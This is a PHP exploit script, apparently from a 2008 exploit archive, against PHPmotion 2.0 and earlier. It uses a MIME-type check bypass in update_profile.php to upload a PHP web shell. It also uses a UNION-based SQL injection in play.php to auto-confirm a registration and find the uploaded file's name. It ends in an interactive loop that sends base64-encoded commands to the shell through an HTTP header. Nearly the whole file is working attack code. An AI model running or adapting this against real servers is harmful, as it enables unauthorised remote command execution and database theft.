<?php

/*
	-----------------------------------------------------------------
	PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit
	-----------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.phpmotion.com/
	details..: don't works on windows platforms due to $_FILES['ufile']['tmp_name'] is stripslashed

	[-] vulnerable code in /update_profile.php
	
	255.	    // START OF FILE UPLOAD AND SECURITY CHECK
	256.	    $limit_size = $config['maximum_size'];//you can change this to a higher file size limit (this is in bytes = 2MB apprx)
	257.	    $random = randomcode();//create random number
	258.	    $uniquename1 = $random . $_FILES['ufile']['name'];//add random number to file name to create unique file
	259.	    $uniquename = mysql_real_escape_string($uniquename1);
	260.	    $path = installation_paths();
	261.	    $path = $path . "/pictures/" . $uniquename;
	262.	
	263.	    if ($_FILES) {
	264.	        // Store upload file size in $file_size
	265.	        $file_size = $_FILES['ufile']['size'];
	266.			//die("$file_size = $file_size; $limit_size = $limit_size;");
	267.	
	268.	        if ($file_size >= $limit_size) {
	269.	            // Display file size error
	270.	            // ///////////////////////
	271.	            $show = 1;
	272.	            $message_type = $config["notification_success"];//the messsage displayed at the top coner
	273.	            $error_message = 'Your image is too large. The maximum size allowed is: ' . $config['maximum_size_human_readale'];
	274.	            $blk_id = 1;//html table - error block
	275.	            $template = "templates/main_1.htm";
	276.	            $inner_template1 = "templates/inner_myaccount_update_profile.htm";//middle of page
	277.	            $TBS = new clsTinyButStrong;
	278.	            $TBS->NoErr = true;// no more error message displayed.
	279.	            $TBS->LoadTemplate("$template");
	280.	            $TBS->Render = TBS_OUTPUT;
	281.	            $TBS->Show();
	282.	            
	283.	            @mysql_close();
	284.	            die();
	285.	        }
	286.	        else {
	287.	            $filetype = $_FILES['ufile']['type']; <=======
	288.	            if ($filetype == "image/gif" || $filetype == "image/jpeg" || $filetype ==
	289.	                "image/pjpeg") {
	290.	                // copy file to where you want to store file
	291.	                if (@copy($_FILES['ufile']['tmp_name'], $path)) {
	292.	                }
	293.	                else {
	294.	                    // Display general file copy error
	
	an attacker might be able to upload arbitrary malicious files with .php extension due to the code
	near lines 287-289 will check only the MIME type of the upload request, that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

// yes, SQL injection vulnerable too!
function retrive_data($field, $table, $clause)
{
	global $host, $path;
	
	$sql = "-1/**/UNION/**/SELECT/**/".str_repeat("1,",16)."{$field},".encodeSQL("yes").",1,1,1/**/FROM/**/{$table}/**/WHERE/**/{$clause}%23";

	$packet  = "GET {$path}play.php?vid={$sql} HTTP/1.0rn";
	$packet .= "Host: {$host}rn";
	$packet .= "Connection: closernrn";

	preg_match("/play.php?vid=(.*)"/", http_send($host, $packet), $match);
	return $match[1];
}

function encodeSQL($sql)
{
	for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i]));
	return "CONCAT(0x{$encoded})";
}

function upload()
{
	global $host, $path, $sid, $username;

	login();
	
	print "[-] Trying to upload a shell...n";
	
	$payload  = "--o0oOo0orn";
	$payload .= "Content-Disposition: form-data; name="submitted_pic"rnrnyesrn";
	$payload .= "--o0oOo0orn";
	$payload .= "Content-Disposition: form-data; name="ufile"; filename=".php"rn";
	$payload .= "Content-Type: image/jpegrnrn";
	$payload .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?>rn";
	$payload .= "--o0oOo0o--rn";
	
	$packet  = "POST {$path}update_profile.php HTTP/1.0rn";
	$packet .= "Host: {$host}rn";
	$packet .= "Cookie: PHPSESSID={$sid}rn";
	$packet .= "Content-Length: ".strlen($payload)."rn";
	$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0orn";
	$packet .= "Connection: closernrn";
	$packet .= $payload;

	http_send($host, $packet);
	
	$user_id = (int) retrive_data("user_id", "member_profile", "user_name=".encodeSQL($username));
	$file_name = retrive_data("file_name", "pictures", "user_id={$user_id}");
	
	if (!isset($file_name)) die("n[-] Upload failed...n");
	else return $file_name;
}

function login()
{
	global $host, $path, $username, $password, $sid;
	
	print "n[-] Logging in with username '{$username}' and password '{$password}'n";
	
	$data	= "user_name_login={$username}&password_login={$password}&submitted=yes";
	$packet = "POST {$path}login.php HTTP/1.0rn";
	$packet.= "Host: {$host}rn";
	$packet.= "Content-Length: ".strlen($data)."rn";
	$packet.= "Content-Type: application/x-www-form-urlencodedrn";
	$packet.= "Connection: closernrn";
	$packet.= $data;
	$html	= http_send($host, $packet);
	
	preg_match("/PHPSESSID=([0-9a-f]{32})/i", $html, $match);
	$sid = $match[1];
	
	if (!preg_match("/Location: myaccount.php/i", $html))
	{
		print "[-] Login failed!n";
		register();
		login();
	}
}

function register()
{
	global $host, $path, $username, $password;
	
	print "n[-] Registering new user '{$username}' with password '{$password}'n";
	
	// register a new account
	$data	= "user_name={$username}";
	$data  .= "&password={$password}";
	$data  .= "&confirm_password={$password}";
	$data  .= "&email_address=".md5(time())."@null.com";
	$data  .= "&form_submitted=yes";
	$data  .= "&terms=yes";
	$packet = "POST {$path}register.php HTTP/1.0rn";
	$packet.= "Host: {$host}rn";
	$packet.= "Content-Length: ".strlen($data)."rn";
	$packet.= "Content-Type: application/x-www-form-urlencodedrn";
	$packet.= "Connection: closernrn";
	$packet.= $data;
	
	http_send($host, $packet);
	
	$code = retrive_data("random_code", "member_profile", "user_name=".encodeSQL($username));
	if (!isset($code)) die("n[-] Registration failed...n");
	
	// and confirm the registration
	$packet = "GET {$path}confirm.php?id={$code} HTTP/1.0rn";
	$packet.= "Host: {$host}rn";
	$packet.= "Connection: closernrn";
	
	if (!preg_match("/registration is now complete/i", http_send($host, $packet))) die("n[-] Registration failed...n");
}

print "n+---------------------------------------------------------------------------+";
print "n| PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit by EgiX |";
print "n+---------------------------------------------------------------------------+n";

if ($argc < 3)
{
	print "nUsage......: php $argv[0] host pathn";
	print "nExample....: php $argv[0] localhost /";
	print "nExample....: php $argv[0] localhost /phpmotion/n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$username = "pr00f_0f";
$password = "_c0nc3pt";

$r_path = "pictures/".upload();

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
	print "nphpmotion-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet = "GET {$path}{$r_path} HTTP/1.0rn";
		$packet.= "Host: {$host}rn";
		$packet.= "Cmd: ".base64_encode($cmd)."rn";
		$packet.= "Connection: closernrn";
		$output = http_send($host, $packet);
		if (!preg_match("/_code_/", $output)) die("n[-] Exploit failed...n");
		$shell = explode("_code_", $output);
		print "n{$shell[1]}";
	}
	else break;
}

?>

# www.Syue.com [2008-06-25]